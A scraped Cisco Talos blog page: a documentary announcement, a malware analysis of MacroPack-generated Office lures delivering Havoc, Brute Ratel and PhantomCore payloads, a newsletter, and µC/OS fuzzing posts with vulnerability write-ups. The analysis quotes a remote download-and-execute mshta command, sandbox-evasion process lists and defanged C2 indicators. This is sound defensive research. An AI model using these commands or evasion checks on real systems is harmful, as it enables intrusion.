The Light We Keep documentary tells the story of the consequences of electronic warfare in Ukraine and its effect on power grids across the country.

Thursday, September 5, 2024 12:26

You may have already read about the incredible story of Project PowerUp – how we worked with a multi-company, multi-national team to find a way to keep the lights on in Ukraine in the face of electronic warfare. 

Today, we are releasing a short documentary on how this story came to be, while exploring the impact on the daily lives of millions of Ukrainians. The documentary delves into the history of targeted attacks against Ukrainian critical infrastructure, from the Black Energy attack in 2015 and the Industroyer campaign the following year. We then study a unique challenge involving GPS jamming, which came up within a chance conversation over dinner with some of our Ukrainian partners. 

We hope this story shines a light on some of the issues faced within an electronic warfare zone, and how sometimes thinking outside of the box isn’t enough. Sometimes, you need to first create the box.

Join our live Q & A with some of the people featured in the documentary or watch it back on demand.

Read more about Project PowerUp

Watch our new documentary, "The Light We Keep: A Project PowerUp Story"

The threat of VBA macros has diminished since Microsoft prevented the execution of macros in Microsoft Office documents downloaded from the internet, but not all users are using the latest up-to-date Office versions and can still be vulnerable.

*   Cisco Talos recently discovered several related Microsoft Office documents uploaded to VirusTotal by various actors between May and July 2024 that were all generated by a version of a payload generator framework called “MacroPack.”
*   MacroPack is a framework designated for Red Team exercises, but we assess, with moderate confidence, that malicious actors are also using it to deploy malicious payloads.
*   Talos analyzed the most recent documents uploaded to VirusTotal from different sources and countries, including China, Pakistan, Russia and the U.S., uncovering connections between the payloads and motivations for creating these documents.
*   These malicious files deliver multiple payloads, including the Havoc and Brute Ratel post-exploitation frameworks and a new variant of the PhantomCore remote access trojan (RAT).
*   Talos was not able to attribute these activities to a single actor despite some similarities in tactics, techniques and procedures (TTPs). No Talos customers were affected by these attacks and there are no related activities  in any Cisco product telemetry.

The threat of VBA macros has diminished since Microsoft prevented the execution of macros in Microsoft Office documents downloaded from the internet, but not all users are using the latest up-to-date Office versions and can still be vulnerable. 

As a part of regular hunting exercises for malicious documents similar to the ones used by UNC1151, we discovered several suspicious documents using VBA macros that were similar but could not be attributed to the same threat actor.

Although the VBA code was similar — using obfuscated variable and function names and one or more layers of obfuscated code in their following stages — the lure themes were different, ranging from generic topics that instruct users to enable VBA macros, to official-looking documents and letters that appear to come from military organizations, pointing to various distinct threat actors. 

**Common characteristics of MacroPack VBA code**

The VBA code in all the documents had similar characteristics, which we traced to the MacroPack framework. MacroPack can generate several types of payloads packaged into different file types, including popular Office-supported formats, scripting files and shortcuts. 

The code generated by the framework has the following characteristics, making it more difficult to detect using file content signatures:

*   Function renaming.
*   Variable renaming.
*   Removal of surplus space characters.
*   Removal of comments.
*   Strings encoding.
*   Payload obfuscation.

A payload string deobfuscation function generated by MacroPack.

MacroPack is designed to be easy to use and quickly generate various payloads allowing users to build working implants with a single command line. 

MacroPack also exists in a professional, supported version, which contains additional functionality to make payloads more resilient and has some more advanced features such as anti-malware bypass, more advanced payloads, anti-reversing and additional payloads. The author states that the tool is intended to be used by Red Team members and not for malicious purposes, although there is no control over who uses the free version of the tool. 

**Inclusion of non-malicious code**

A common feature in all the malicious documents we dissected that caught our attention is the existence of four non-malicious VBA subroutines. These subroutines appeared in all the samples and were not obfuscated. They also had never been used by any other malicious subroutines or anywhere else in any documents. 

At the beginning of the investigation, we suspected all the documents containing these unusual non-malicious subroutines were created by a single threat actor. But the different document lures and countries from where the documents were uploaded lead us to conclude that those subroutines were included by the professional version of MacroPack, which we confirmed via reliable, high-fidelity sources. 

Snippet of code taken from a Word programming book.

We traced the origin of the two functions to a website hosting various VBA examples and one to a French Microsoft Word programming book “Rédigez Facilement Des Documents Avec Word” (“Easily Writing Documents with Word”) by Michel Martin.

Non-malicious functions common for all discovered documents from the VBA examples website.

The inclusion of the benign code is likely to lower the level of suspicion of the code generated by MacroPack. Some anti-malware engines may be able to detect code as suspicious if the entropy of the code is high to indicate pseudo-randomly named variables, functions and obfuscated strings and the inclusion of non-malicious functions with low entropy may be used to lower the overall entropy of the generated code. 

Some documents containing the non-malicious code, attributed to MacroPack, also used a different technique for generating code. Instead of completely pseudo-randomly generated variable and function names, they consisted of combinations of randomly chosen real words. 

The MacroPack author indicated that he worked on a feature to generate names using Markov chains to create seemingly meaningful function and variable names. 

MacroPack author announced the random name generator based on valid English words on X (Twitter). 

This functionality was included by the MacroPack author to improve the bypassing of anti-malware heuristic detections. We discovered a few samples using this technique to obfuscate the functionality of the code with meaningful-looking function and variable names.

Function and variable names generated by a Markov chain.

**MacroPack documents uploaded to VirusTotal**

Although the TTPs in the discovered samples seem malicious and the lure themes indicate that they are, we were unable to trace the actors to a particular group, which also leaves a possibility that they were part of red teaming exercises. However, it is still important to document the samples as blue teams may also encounter them in their own detection tests. 

For some discovered samples, we confirmed they were part of some Red Team activities and they are not included in the list of IOCs. A description of a few interesting clusters of documents follows. 

All the documents have a similar flow, being generated by the framework and consist of at least three stages of code before connecting to the C2 server, to allow infected systems to be controlled by the threat actors. 

Stages of execution for discovered MacroPack-generated documents.

**Theme 1: Lures uploaded from China**

The first cluster of three documents were uploaded to VirusTotal from IP addresses residing in China, Taiwan and Pakistan in May and July 2024, and feature three similar lures with a generic Word document content that instructs the users to “enable content,” which would allow a VBA macro code to execute. The beginning of the document contains this text either in Chinese or English. 

__Chinese version of the lure.__

All C2 IP addresses for the payloads of the generic template campaign reside in the address space of the same autonomous system, AS4837, located in the Henan province in China, which, together with the usage of similar lure themes and MacroPack, enable us to cluster them as originating from a single actor. 

__English variant of the lure.__

**Theme 1 payloads**

Two of the three documents, the ones with lures in Chinese, have the Havoc demon (implant) as the final payload. Havoc is a post-exploitation command and control (C2) framework made for penetration testers, Red Teams and Blue Teams. It's free and open-source on GitHub, written and maintained by Paul Ungur. The Havoc Framework is split into two components — the teamserver and the agent. The Teamserver handles connected operators, tasking agents and parsing the callbacks, results of commands, uploaded files and screenshots. The agents or implants are called demons, in Havoc terminology, and are installed by the operator to the systems that should be controlled.The agents allow the operators to remotely control affected systems. 

The difference between the two variants are that they have different IP addresses for C2, and one lure is compiled for 64-bit Windows, while the other is for 32-bit Windows. Both lures are likely related, as they share similar lure themes, have the same AS for C2 addresses and have C2 URLs that appear as if cloud email communication is attempted, together with appropriate referrers set up in HTTP headers.

First Havoc demon communication to C2, with appropriate HTTP headers specified in its configuration buffer.

After the shellcode loads the Havoc demon, the DLL reads its configuration hosts from a plain text structure.

The second payload is a Brute Ratel implant (badger) loaded from a shellcode loader as a DLL.  Brute Ratel is a C2 framework primarily used for Red Teaming and adversary simulation, although it was also abused by real threat actors. 

Brute Ratel is a very popular framework similar to Cobalt Strike and enables its users to:

*   Deploy agents (called badgers) onto target systems.
*   Execute commands remotely.
*   Perform lateral movement within a network.
*   Establish persistence.
*   Evade detection by endpoint security solutions.

The configuration for the badger is stored in the shellcode body (approximately 250KB long) and the DLL decrypts it using RC4 decryption with the decryption key hardcoded in the badger executable. 

Brute Ratel configuration is decrypted by a RC4 decryption routine in the DLL badger.

**Theme 2: Pakistani military lures**

The second cluster of documents, with Pakistani military-related themes, were uploaded to VirusTotal from two different locations in Pakistan. We have elected to classify them together based on the military-related themes and a Brute Ratel DLL badger as the final payload.

Pakistani military-themed document lure uploaded to VirusTotal in January 2024. 

The first document contains an embedded image of a document masquerading as a circular claiming to announce new awards for certain officer ranks in the Pakistan Air Force, with land plots as a reward for their services. When the document is opened and VBA code allowed to run, the MacroPack-generated code will create a Brute Ratel shellcode loader in memory and execute it to load a badger DLL. The configuration for all DLL implants is contained in the shellcode and is used by the badger after decryption using RC4-based decryption. 

The implant in the first document is configured to use DNS over HTTPs with dns\[.\]google and cloudflare-dns\[.\]com servers to tunnel the data over DNS for hosts dns1\[.\]s-logistics\[.\]net and dns2\[.\]s-logistics\[.\]net.

The second lure purports to be a confidential document sent to a specific recipient containing an employment confirmation letter for a civilian member of Pakistan’s Air Force Cyber Team. The payload for this document is also a DLL-based Brute Ratel badger, but this time using several Amazon Cloudfront CDN servers for the C2 rotation. 

Pakistani military-themed document lure uploaded to VirusTotal in February 2024. 

One interesting characteristic of the second document’s Brute Ratel payload is the inclusion of a base64-encoded blob containing a JSON object created to be used with the Adobe Experience Cloud ecosystem for tracking marketing activities. One possible reason for this is that the document was part of a Red Team exercise and Adobe Experience Cloud was used to track the target’s engagement.

Adobe Experience Cloud requests details from the second document.

**Theme 3: Lure uploaded from Russia**

A few things stood out when we observed a file created with MacroPack uploaded to VirusTotal from a Russian IP address at the beginning of July 2024. While most of the other files we analyzed were Word documents, this one is an Excel workbook. The lure also is completely void of content, and when the workbook is opened, there is nothing to see. 

The VBA code was also a bit different from the ones discovered earlier. Instead of creating a byte array containing shellcode and loading it into the host process, this one had more VBA code for the next stage, and the way it was executed was also quite unusual. 

__Partially deobfuscated second stage attempt to download and execute a file from a URL__

_._The first-stage code generates the second VBA layer, launches a new instance of Excel and creates a new workbook that is the target for the injection of the second stage, similar to VBA virus infection. 

When the second stage is executed, it attempts to download, load and execute a file from the URL hxxp\[://\]td\[.\]tula-steel\[.\]ru/en/image\[.\]jpg. We have no indication that this TTP was successful. 

**Theme 3 payload**

At the time of writing this post, the target URL contained a sample of a Golang-based backdoor PhantomCore, which is attributed by researchers from Kaspersky to the Ukrainian hacktivist Head Mare, allegedly targeting government organizations and companies in Russia with the goal of cyber espionage. 

__Before connecting to listen for commands, the C2 host and port are retrieved from PhantomCore data.__

Some PhantomCore variants are obfuscated with the Golang obfuscator, garble, which makes them more challenging for the analyst, but the core functionality is similar — to connect to a C2 server using the rsocket protocol and listen for commands that allows it to install additional modules, upload data or execute a command. 

**Theme 4: Uploaded from the U.S.**

 This final theme was uploaded to VirusTotal much earlier than the previous examples (March 2023) and it purports to be an encrypted NMLS (U.S. Nationwide Multistate Licensing System & Registry) renewal form. We chose this document lure to demonstrate MacroPack’s usage of a Markov Chain-based name generator. This document, similar to the lure uploaded from Russia, has multiple VBA stages. 

The first stage decodes the second and launches another Word instance to run it. Before launching the final payload, the second stage checks for the presence of the analysis environment, such as sandboxes and test systems. 

The second stage code will exit any the following conditions are satisfied:

*   Number of logical CPUs in the system is 1.
*   The User name is “USER”.
*   One of the following processes are active: fiddler, vxstream, vboxservice, tcpview, vmware, procexp, wmtools, processexplorer, processhacker, vbox, autoit, wireshark, procmon, idaq, autoruns, apatedns or windbg.
*   The overall disk size is smaller than 60GB.
*   Total memory size is smaller than 1GB.
*   Word Application recent files count is smaller than three.

__Obfuscated function is checking for presence of analysis environment before downloading the payload.__

The final payload was likely supposed to be an HTML application as the download and launch was attempted by executing the command line “mshta.exe hxxps\[://\]share\[.\]dedesignanddev\[.\]com:443/datadoc”. At the time of writing, Talos has not been able to retrieve and identify the final payload. 

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device.

Cisco Secure Malware Analytics (formerly Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. 

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Snort SIDs for this threat are 63942.

**IOCs **

IOCs for this research can also be found at our GitHub repository here. 

**Theme 1**

0cf1e59bae9dba7fbbf6ee6a36ca6bdb8fa0ac002b8cf824bd0888789a981c57 -64 bit Havoc demon

hxxps\[://\]122\[.\]114\[.\]141\[.\]214/qq\[.\]com/ab735a258a90e8e1f3e3dcf231bf53a9/mail/ - Havoc C2

93df1d60edd6b656b08e0fc0d31b330fd275f5e1a9069dfbb769e7ba217fcb6e - Brute Ratel loader

hxxp\[://\]122\[.\]114\[.\]10\[.\]239/qazxsw -Brute Ratel C2

hxxp\[://\]122\[.\]114\[.\]10\[.\]239/edcvfr

2131de0cb705afa52f88ef70a87ee6c8662d38db0138efc4940218ee62d8a296 - 32 bit Havoc demon

hxxp\[://\]122\[.\]114\[.\]166\[.\]92/Collectors/3\[.\]0/settings/mail/ - Havoc C2

**Theme 2**

cbafcf65b40d95e4699859a523ef4d300c57f93de6fbc6e194d1b922e9f3aba6 - PAF cyber team lure

b5608e73eb460944d9b523a940d94c95d3eb66d6a8efe82462e2589ccfaadb82 - allotment of plots, Pakistan military

dns1\[.\]s-logistics\[.\]net - Brute Ratel C2 - DNS

dns2\[.\]s-logistics\[.\]net - Brute Ratel C2 - DNS

hxxps\[://\]d3qrqtfazjdt5i\[.\]cloudfront\[.\]net/HubsExtension/Resource/Type/c8d984\[.\]php - Brute Ratel C2

hxxps\[://\]d3qrqtfazjdt5i\[.\]cloudfront\[.\]net/HubsExtension/Browse/resourceType/id\[.\]php

hxxps\[://\]d2wpc9lcvgj680\[.\]cloudfront\[.\]net//HubsExtension/Resource/Type/c8d984\[.\]php

hxxps\[://\]d2wpc9lcvgj680\[.\]cloudfront\[.\]net/HubsExtension/Browse/resourceType/id\[.\]php

hxxps\[://\]d1209brpqetpa4\[.\]cloudfront\[.\]net/HubsExtension/Resource/Type/c8d984\[.\]php

hxxps\[://\]d1209brpqetpa4\[.\]cloudfront\[.\]net/HubsExtension/Browse/resourceType/id\[.\]php

hxxps\[://\]d2v6ycjbdzo6ui\[.\]cloudfront\[.\]net/HubsExtension/Browse/resourceType/id\[.\]php

hxxps\[://\]d2v6ycjbdzo6ui\[.\]cloudfront\[.\]net/HubsExtension/Resource/Type/c8d984\[.\]php

hxxps\[://\]d2z6sfzo660xrm\[.\]cloudfront\[.\]net/HubsExtension/Browse/resourceType/id\[.\]php

hxxps\[://\]d2z6sfzo660xrm\[.\]cloudfront\[.\]net/HubsExtension/Resource/Type/c8d984\[.\]php

**Theme 3**

e1ee389b2af2d3a0eff4aa14f2ac3de6cdd4a73de80b5d450a44ec69cd332dbf - Excel malicious workbook

80731db97c33b50cd3d8727decec7e6a12bbf5f671527648c4cbb559fabc3074 - payload PhantomCore RAT

api.wilbderreis\[.\]ru - PhantomCore C2, using rsocket protocol on port 80

hxxp\[://\]td\[.\]tula-steel\[.\]ru/en/image\[.\]jpg

**Theme 4**

2c0a66c6370b4aa88ab3805d520e868cbc513b43119958257a72c9ff58ef241c - NMLS renewal theme maldoc

hxxps\[://\]share\[.\]dedesignanddev\[.\]com:443/datadoc

Threat actors using MacroPack to deploy Brute Ratel, Havoc and PhantomCore payloads

As we head into the final third of 2024, we caught up with Talos' Nick Biasini to ask him about the biggest shifts and trends in the threat landscape so far. Turns out, he has two major areas of concern.

Thursday, August 29, 2024 14:00

Hello Talos followers. I’m back for my annual takeover of the Threat Source newsletter. First, an update on that killer sloth movie I was so excited about in August 2023. “Slotherhouse” debuted with an impressive $137,133 at the box office, with critics hailing its various set pieces such as “death by sleeping bag balcony trap” (read that again) and “a particularly gruesome use of hair straighteners.” 

Onto less grisly fare. In the times when I used to frequent the site formerly known as Twitter, my favorite account to follow was “Sorkinese” – a daily elocution safari with the wit and wisdom of Aaron Sorkin characters (mainly from The West Wing). Before Sorkinese’s well timed final tweet in July last year (“The internet people have gone crazy!”) one piece of Sorkin dialogue that I always enjoyed seeing on the feed was “What kind of day has it been?.” The Wingnuts amongst you will know that Sorkin used this as the title of key episodes in several of his shows. It’s meant to signal the end of something, and a reflection of what’s important.  

As summer is drawing to a close and “sweater weather” begins again in earnest, I wanted to use this opportunity to reflect a little…what kind of summer has it been? 

I live in the UK, so “wet” is the first word that comes to mind. But since I allegedly work in the security industry, and this is allegedly a security newsletter, I’ll steer things in that direction. In a "here's what I made earlier" moment (hello to the small percentage of Brits who will get that reference), this is a video which features Talos’ Head of Outreach Nick Biasini. We asked him to reflect on his two biggest areas of concern/importance in the threat landscape right now: 

One more quick thing – it’s now a week until we launch our new documentary, “The Light We Keep: A Project PowerUp Story.” This video will explore first-hand accounts of the chaos and consequences of electronic warfare, and how we developed a solution to maintain reliable power in the event of GPS jamming on Ukraine's electrical grid.

Keep an eye on our social channels for its release and be sure to join us for the live online launch event which will include a Q & A with myself, Joe Marshall, Matt Watchinski, and Matt Olney. 

Register for the livestream on September 5th 

Watch The Light We Keep trailer 

**The one big thing **

 BlackByte is a ransomware-as-a-service (RaaS) group believed to be an offshoot of the infamous Conti ransomware group. They have continued to leverage tactics, techniques and procedures (TTPs) that have formed the foundation of its tradecraft since its inception, continuously iterating its use of vulnerable drivers to bypass security protections and deploying a self-propagating, wormable ransomware encryptor. In recent investigations, Cisco Talos Incident Response (Talos IR) has also observed BlackByte using techniques that depart from their established tradecraft. Members of the team, in collaboration with Talos Intelligence and Interdiction, wrote a blog detailing their findings. 

** Why do I care? **

 During an investigation of a recent BlackByte attack, Talos IR and Talos threat intelligence personnel noted close similarities between indicators of compromise (IOCs) discovered during the investigation and other events flagged in Talos’ global telemetry. Further investigation of these similarities provided additional insights into BlackByte’s current tradecraft and revealed that the group has been significantly more active than would appear from the number of victims published on its data leak site. 

**So now what? **

 Talos IR has provided a full set of recommendations to help defenders protect against RAAS groups such as BlackByte. Including how to detect lateral movement. You’ll find these recommendations in the blog, alongside the MITRE ATT&CK mapping of new TTPs, and Indicators of Compromise. 

**Top security headlines of the week **

*   Hundreds of open-source large language model (LLM) builder servers and dozens of vector databases are leaking highly sensitive information to the open Web. Dark Reading 
*   A recent Qilin ransomware attack targeted credentials that were stored in Google Chrome browsers on a portion of the impacted network’s endpoints. Researchers said the move is an “unusual tactic, and one that could be a bonus multiplier for the chaos already inherent in ransomware situations.” Decipher 
*   Labor Day warning: Protect your date with these high-tech travel tips. Talos’ Nick Biasini recently gave advice on how to spot travel related phishing emails, and how to be aware of vulnerable Bluetooth connections and WIFI spots. Share with your friends and family! ABC News 

**Can’t get enough Talos? **

Talos’ Kelly Patterson just released a 3-part blog series of her research into the intricacies of fuzzing µC/OS protocol stacks. Kelly hopes her research will encourage more widespread use of fuzzing of RTOS software components.  

Check out the series below: 

*   Part 1: HTTP server fuzzing 
*   Part 2: Handling multiple requests per test case  
*   Part 3: TCP/IP server fuzzing, implementing a TAP driver  

**Upcoming events where you can find Talos **

Live launch of The Light We Keep documentary, followed by Q & A (Sept. 5th) 

Online 

BSides Krakow (Sept. 14)   

Krakow, Poland  

LABScon (Sept. 18 - 21)  

Scottsdale, Arizona 

VB2024 (Oct. 2 - 4) 

Dublin, Ireland 

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  

MD5: 7bdbd180c081fa63ca94f9c22c457376 

Typical Filename: c0dwjdi6a.dll 

Claimed Product: N/A  

Detection Name: Trojan.GenericKD.33515991 

**SHA 256**:9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc 

**MD5:** 4813fa6d610e180b097eae0ce636d2aa 

**Typical Filename:** xmrig.exe 

**Claimed Product:** XMRig 

**Detection Name:** Trojan.GenericKD.70491190 

**SHA 256:** 24283c2eda68c559f85db7bf7ccfe3f81e2c7dfc98a304b2056f1a7c053594fe

**MD5:** 49ae44d48c8ff0ee1b23a310cb2ecf5a

**Typical Filename:** nYzVlQyRnQmDcXk

**Claimed Product:** N/A

**Detection Name:** Win.Dropper.Scar::tpd

**SHA 256:** c67b03c0a91eaefffd2f2c79b5c26a2648b8d3c19a22cadf35453455ff08ead0

**MD5:** 8c69830a50fb85d8a794fa46643493b2

**Typical Filename:** AAct.exe

**Claimed Product:** N/A

**Detection Name:** PUA.Win.Dropper.Generic::1201

What kind of summer has it been?

Fuzzing has long been one of our favorite ways to search for security issues or vulnerabilities in software, but when it comes to fuzzing popular systems used in ICS environments, it traditionally involved a custom hardware setup to fuzz the code in its native environment.

Wednesday, August 28, 2024 12:00

Hunting for vulnerabilities in industrial environments has become increasingly important as industrial control systems and critical infrastructure face threats from state-sponsored actors and ransomware groups hoping to cash out on million-dollar payments.  

Fuzzing has long been one of our favorite ways to search for security issues or vulnerabilities in software, but when it comes to fuzzing popular systems used in ICS environments, it traditionally involved a custom hardware setup to fuzz the code in its native environment. 

However, I recently created my own fuzzer after Weston Embedded made its full µC/OS protocol stack source code openly available in 2020. µC/OS (also stylized as MicroC/OS) is a real-time operating system commonly used in resource-constrained embedded systems like industrial control systems. The operating system uses a scheduling mechanism to ensure efficient task management in industrial environments, and we recently discovered multiple vulnerabilities in the system that could allow an adversary to carry out a range of malicious actions, including causing a denial of service or gaining the ability to execute arbitrary code on the system.  

Today, we’re publishing a three-part look at how I created this fuzzer, the various hurdles I faced along the way, and how it used it to fuzz two different µC/OS protocol stacks. These individual posts are linked below. 

*   Part 1: HTTP server fuzzing
*   Part 2: Handling multiple requests per test case 
*   Part 3: TCP/IP server fuzzing, implementing a TAP driver

The vulnerabilities we uncovered by fuzzing µC/OS protocol stacks

This time, I’ll discuss why this approach is more challenging than simply substituting a socket file descriptor with a typical file descriptor.

Wednesday, August 28, 2024 12:00

So far in this series, I’ve developed a fuzzer for the µC/HTTP-server. As described in the previous post, this fuzzer reads from a file to enable compatibility with AFL++. That implementation only fuzzes a single request at a time. Although that single request fuzzer uncovered a few security vulnerabilities, there are complex and interesting object interactions and internal state transitions that occur when multiple requests are received in a single session. 

I wanted to be able to fuzz those interactions and transitions by providing a single test case file containing multiple requests. So, this time, I’ll discuss why this approach is more challenging than simply substituting a socket file descriptor with a typical file descriptor, and I’ll describe the feature I added to the open-source library libdesock to support multiple requests.

**Reading from a socket vs. reading from a file**

It’s a bit confusing thinking about solving this problem because socket communication is two-way communication with a request-response pattern, while reading from a file occurs one way. In a networking client/server model, the client will typically make a request of the server, and the server will respond before the client sends another request. 

The µC/HTTP-server works in a single thread so it completely processes and responds to the first request before ever reading from the socket descriptor for a second time. 

Our goal is to simulate multiple requests from the client using a single test case file. But what happens if we include two requests within the same test case file? The server code will read the available data from the file until it reaches EOF or fills the buffer.

For instance, suppose a test case file contains two complete HTTP requests. The buffer size of the µC/HTTP-server is 1,460 bytes and the length of our two requests combined are only 841 bytes. This means the entire test case fits within the buffer and is read into memory at once. The µC/HTTP-server will process the first HTTP request and then discard the remaining data in the buffer. Then, when the server code reads from the test case file again, it will have reached EOF while only actually processing the first request. 

To address this, we need a way to instruct the server to stop reading the file after processing the first request. This can be achieved by using a delimiter in the test case file. The delimiter should be a unique value that is unlikely to appear anywhere else in the request.

**libdesock **

To implement this strategy of using a delimiter to indicate where one request ends and another begins, I added a feature to an existing library called libdesock. The purpose of this library is to de-socket a network application to enable fuzzing. This is because fuzzers typically provide their test inputs via stdin while network applications expect their inputs from network connections. Typically, a network server application will call the libc functions socket, listen, accept and then read/recv. 

Libdesock operates by leveraging the Linux dynamic linker feature, LD_PRELOAD. When the LD_PRELOAD environment variable is set to the path of a shared object file, it instructs the dynamic linker to load that shared object before all others. As a result, when the dynamic linker searches for a symbol being called in the executable, it will first look in the shared object specified by the LD_PRELOAD environment variable. Normally, the symbols for the functions socket, listen, accept and read/recv are found within libc.so and executed from there. However, when LD_PRELOAD is set to libdesock.so, those symbols are found within the libdesock library and executed there instead. This allows libdesock to alter the behavior of those calls. By intercepting these calls, libdesock cleverly redirects recv/read to stdin rather than a network socket.

**Multiple request feature**

Originally, the libdesock code would read up to the size of the buffer used from stdin. This leads to the same issue as mentioned above when attempting to read multiple requests from an input file (stdin in this case): 

> “For instance, suppose a test case file contains two complete HTTP requests. The buffer size of the µC/HTTP-server is 1460 bytes and the length of our two requests combined are only 841 bytes. This means the entire test case fits within the buffer and is read into memory at once. The µC/HTTP-server will process the first HTTP request and then discard the remaining data in the buffer. Then, when the server code reads from the test case file again it will have reached EOF while only actually processing the first request.” 

To address this, I added a feature to the libdesock read code to look for a request delimiter while reading. If the delimiter is found, it returns all the data read before encountering the delimiter. On the next call to read, it will begin reading after the delimiter and search for another delimiter. This approach works for fuzzing multiple requests in most networked applications because these applications typically run a processing loop where read/recv is called, the data is processed, and then read/recv is called again. This loop continues until the connection is closed. As mentioned in the first blog post, it was necessary to modify the executable for fuzzing so that it would exit when read returns 0. This is crucial for fuzzing, as it indicates the executable has finished processing the test case and has exited normally. If you’d like to see the code, you can check out libdesock here.

**Vulnerability highlight**

This version of the µC/HTTP-server fuzzer, which supports multiple requests per test case, uncovered two additional vulnerabilities. In both instances, a vulnerability in the processing of the first request is exploited by the second request.

When disclosing these vulnerabilities, I discovered that much of the µC/HTTP-server codebase is shared across multiple products. The other affected products are the Silicon Labs Gecko Platform and Weston Embedded Cesium NET. All the vulnerabilities discussed here have been reported to the manufacturers in accordance with our Coordinated Disclosure Policy. Each of these vulnerabilities in the affected products has been patched by the corresponding manufacturer.

The following Snort rules will detect exploitation attempts against these vulnerabilities: 119:203:1 and 119:282:1. Additional rules may be released in the future and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your Cisco Secure Firewall or Snort.org.

Below is an overview of each vulnerability.

**TALOS-2023-1726**

When processing the protocol version portion of an HTTP request, an integer underflow occurs, which leads to an extremely large value within the connection object’s buffer length p_conn->RxBufLenRem. In the next iteration of the processing loop, that large value is used as an argument when calling receive. This means that the next request wouldn’t be limited by the max buffer size (1,460 bytes), and an attacker could overflow the receive buffer directly with the second request. 

**TALOS-2023-1732**

In this vulnerability, a buffer overflow of one byte occurs when handling the header fields in an HTTP request. This one-byte overflow is significant because the µC/HTTP-server heap implementation stores a pointer to a free chunk of memory in the first four bytes of an allocation. This means that the one byte overwrite can modify the free chunk address which will be used as an allocation sometime in the future. Abusing this vulnerability required four requests. The first two were innocuous and caused specific heap allocations to occur (a technique known as “heap grooming”). The one-byte overwrite is triggered by the third request, while the fourth request leads to an improper allocation in the heap.

Both vulnerabilities involved modifications to global objects between requests. These types of interactions can be difficult to understand with static code analysis because it is not always obvious the order that functions will be called under specific circumstances. There are more of these types of complex vulnerabilities out there that could be revealed with multi-request fuzzing and I hope that using this file delimiter technique will lead to more of them being found and fixed. 

In Part 3, I write a TAP device driver to fuzz the µCOS TCP/IP implementation.

Fuzzing µCOS protocol stacks, Part 2: Handling multiple requests per test case

Any vulnerability in an RTOS has the potential to affect many devices across multiple industries.

Wednesday, August 28, 2024 12:00

This is the first post of a three-part series, where we will be delving into the intricacies of fuzzing µC/OS protocol stacks. The techniques I will discuss are universally applicable to various RTOS environments, though our focus will primarily be on µC/OS. 

I’ll highlight some of the strategic code modifications I implemented across different µC/OS components. The objective is to streamline the process of developing a fuzzing harness tailored for the µC/HTTP-server. In the second installment of this series, I’ll discuss a technique that I used for delivering multiple requests per fuzz test case. The third post will be like this one, as I’ll describe the code modifications that I made with the aim of fuzzing the µC/TCP-IP stack.

For a bit of context, µC/OS is an RTOS, or “Real-Time Operating System.” An RTOS is a specialized operating system designed to manage hardware resources and host applications that need to run in systems where timing is critical, such as in embedded systems, medical devices, or industrial controls. RTOSes haven’t been fuzzed as thoroughly as software that runs on desktop operating systems, primarily due to the complexities associated with setting up a fuzzing harness for these systems. 

Developing a harness for an RTOS requires more coding effort than what is typically required for a straightforward, single-line fuzzing harness used with desktop applications or libraries. 

Any vulnerability in an RTOS has the potential to affect many devices across multiple industries. It’s important to put these codebases through the same rigorous testing as is common for desktop operating systems. My hope is that the techniques described in this blog post series will encourage more widespread use of fuzzing of RTOS software components. 

Historically fuzzing RTOS code involved a custom hardware setup to fuzz the code in its native environment, or fuzzing on an emulated version of the system. However, when Weston Embedded made the full µC/OS source code openly available in 2020, it sparked my curiosity about whether there could be a less complex approach to fuzz this type of code.

The goals for my fuzzer are:

*   Use a modern fuzzing framework (I chose AFL++).
*   Modify the networking code to accept input from a file.
*   Handle multiple requests per test case (more on this in part 2).

Additionally, the constraints (self-imposed) for my HTTP fuzzer are:

*   A software-only solution.
*   Run natively on Linux.

With that in mind, I wanted to avoid using emulation or dedicated hardware for my fuzzer.

**Linux port**

To make use of a modern fuzzing framework like AFL++, I needed to write some code that would allow the µC/HTTP-server to operate on Linux instead of the native µC/OS kernel. However, I had to give some thought to what exactly I wanted my fuzzer to target and determine appropriate insertion points for my hooks that would enable this protocol implementation to run on Linux.

Below is a basic architecture diagram showing the software component structure of a µC/HTTP-server application. The blue highlight represents the components that I will be modifying to port the application to Linux. The orange highlight represents the code which is the target for the fuzzer.

The modular design of µC/OS makes it wonderful to work with for this type of fuzzing. The Kernel Abstraction Layer (KAL in the diagram) provides a common API that is utilized by each of their libraries. This makes it easy to create a custom KAL that either mimics the desired RTOS functionalities for my fuzzer or simply returns a success signal for features that aren't relevant to the fuzzing process. Although µC/OS provides a POSIX-compatible KAL that enables the µC/HTTP-server to run on Linux, I chose to create my own KAL interface to simplify the entire setup. 

The KAL lays out an API blueprint for operating system components like task management, locks, semaphores, timers, and message queues. In the case of µC/HTTP-server, the only KAL function it calls is KAL_TaskCreate, which means I only needed to implement this particular function in my custom KAL interface. Additionally, since the task in question is the main HTTP processing loop, I found a workaround by directly invoking the function itself within the KAL_TaskCreate function, bypassing the need for a more complex task creation process. Example code below:

    void  KAL_TaskCreate (KAL_TASK_HANDLE     task_handle,
                          void              (*p_fnct)(void  *p_arg),
                          void               *p_task_arg,
                          CPU_INT08U          prio,
                          KAL_TASK_EXT_CFG   *p_cfg,
                          RTOS_ERR           *p_err)
    {
        /* return success  */
